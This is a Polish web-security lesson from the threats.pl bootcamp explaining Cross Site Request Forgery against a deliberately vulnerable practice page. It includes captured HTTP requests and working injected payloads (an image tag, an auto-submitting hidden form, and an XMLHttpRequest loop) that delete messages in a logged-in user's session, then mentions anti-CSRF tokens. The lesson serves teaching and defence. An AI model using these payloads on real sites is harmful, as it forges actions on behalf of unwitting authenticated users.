threats.pl > Bezpieczeństwo aplikacji internetowych > Lekcja 4: Cross Site Request Forgery

Lekcja 4: Cross Site Request Forgery

Wprowadzenie

Na liście OWASP TOP10 2007 Cross Site Request Forgery znalazło się na piątej pozycji. Atak ten jest określony mianem śpiącego giganta.

Całość opiera się na dwóch prostych faktach:

Atak CSRF pozwala na wykonanie operacji w aplikacji internetowej w kontekście uwierzytelnionego użytkownika. Sprowadza się on właściwie do zmuszenia przeglądarki klienta do wygenerowania określonego żądania, lub żądań. To, jak ofiara jest skłaniana do odwiedzenia strony zawierającej odpowieddnio spreparowany kod jest już tematem zupełnie oddzielnym.

Przykład

W przykładzie czwartym http://bootcamp.threats.pl/lesson04/ zadanie polega na wstawieniu na stronę takiego kodu, którego wykonanie w przeglądarce klienta spowoduje usunięcie wiadomości. Wprowadzenie kodu jest trywialnie proste, specjalnie w tym celu "zaimplementowany" został w tym przykładzie XSS.

Jakie żądania powinny zotać wysłane w celu usunięcia wiadomości? W tym wypadku potrzebne są dwa żądania:

Pierwsze żądanie powinno wyglądać w sposób następujący:

            GET /lesson04/?id=2 HTTP/1.1
            Accept: image/gif, image/jpeg, (...)
            Referer: http://bootcamp.threats.pl/lesson04/
            Accept-Language: en-US,pl;q=0.5
            User-Agent: Mozilla/4.0 (compatible; ...)
            Accept-Encoding: gzip, deflate
            Host: bootcamp.threats.pl
            Connection: Keep-Alive 
            Cookie: PHPSESSID=6e1f7367eecb9e553e11fa461d974fde 
        

Drugie natomiast w sposób taki:

            POST /lesson04/index.php HTTP/1.1
            Accept: image/gif, image/jpeg, (...)
            Referer: http://bootcamp.threats.pl/lesson04/?id=2
            Accept-Language: en-US,pl;q=0.5
            User-Agent: Mozilla/4.0 (compatible; ...)
            Content-Type: application/x-www-form-urlencoded
            Accept-Encoding: gzip, deflate
            Host: bootcamp.threats.pl
            Content-Length: 13
            Connection: Keep-Alive
            Pragma: no-cache
            Cookie: PHPSESSID=6e1f7367eecb9e553e11fa461d974fde 
            action=delete 
        

Trzeba więc wygenerować jedno żądanie GET i jedno żądanie POST. Wygenerowanie żądania GET jest zadaniem trywialnym, może to zrealizować przykładowy kod:

<img src="?id=3"/>

Jego osadzenie na stronie spowoduje, że przeglądarka odwoła się do serwera próbując załadować wskazany obrazek. Oczywiście nie załaduje się on, jednak dla serwera liczy się "treść" żądania, a jest ono identyczne z tym, które jest generowane w przypadku kliknięcia linku.

Teoretycznie bardziej skomplikowane jest wykonanie drugiego żądania, to żądanie musi zostać przesłane przy pomocy metody POST. W tym celu wystarczy jednak wstawić kawalek formularza i skryptu JavaScript, który spowoduje jego wysłanie. Odopwiedni kod wygląda w sposób następujący:

    <form action="index.php" method="post" id="csrf">
    <input type="hidden" name="action" value="delete"/> 
    </form> 
    <script>  
    var f = document.getElementById("csrf"); 
    f.submit();  
    </script> 

Można też wykonać bardziej efektywny kod, na przykład z użyciem XMLHttpRequest (przykład dla IE 8):

<script>
    var oReq = new XMLHttpRequest();
    var params="action=delete";
    for (i=1; i<6; i++) {
        oReq.open("GET", "http://bootcamp.threats.pl/lesson04/?id="+i, false); 
        oReq.send(); 
        oReq.open("POST", "http://bootcamp.threats.pl/lesson04/index.php", false); 
        oReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
        oReq.setRequestHeader("Content-length", params.length); oReq.send(params); 
    }
</script>
        

Wszystkie powyższe skrypty trzeba oczywiście "zwinąć" do jednej linii przy przeklejaniu do formatki.

Powyższy kod działa w pętli i generuje naprzemiennie dwa żądania HTTP, jedno, które symuluje otwarcie wiadomości, drugie, które odpowiada żądaniu generowanemu po naciśnięciu przycisku "usuń". Metoda ta nie zawsze zadziała, co wynika z ograniczeń obiektu XMLHttpRequest, w szczególności ograniczeń co do wykonywania żądań między różnymi domenami. W tym przypadku specjalnie wrogi kod może być osadzony w tym samej domenie.

Podsumowanie

Opis ataku Cross Site Request Forgery jest zwykle dość zawiły. Ten przykład chyba w dość przystępny sposób pokazuje o co właściwie chodzi. Powodzenie ataku zależy od tego, czy atakujący jest w stanie przewidzieć dokładnie jak powinno wyglądać żadanie, które zostanie zaakceptowane przez serwer. Typową metodą ochrony przed CSRF jest dodanie losowego tokenu, którego atakujący (zwykle) nie jest w stanie odgadnąć. W szczególnych przypadkach, a ten przykład jest szczególnym przypadkiem, wprowadzenie tokenu jest nieskuteczne. Ale o tym w kolejnej lekcji.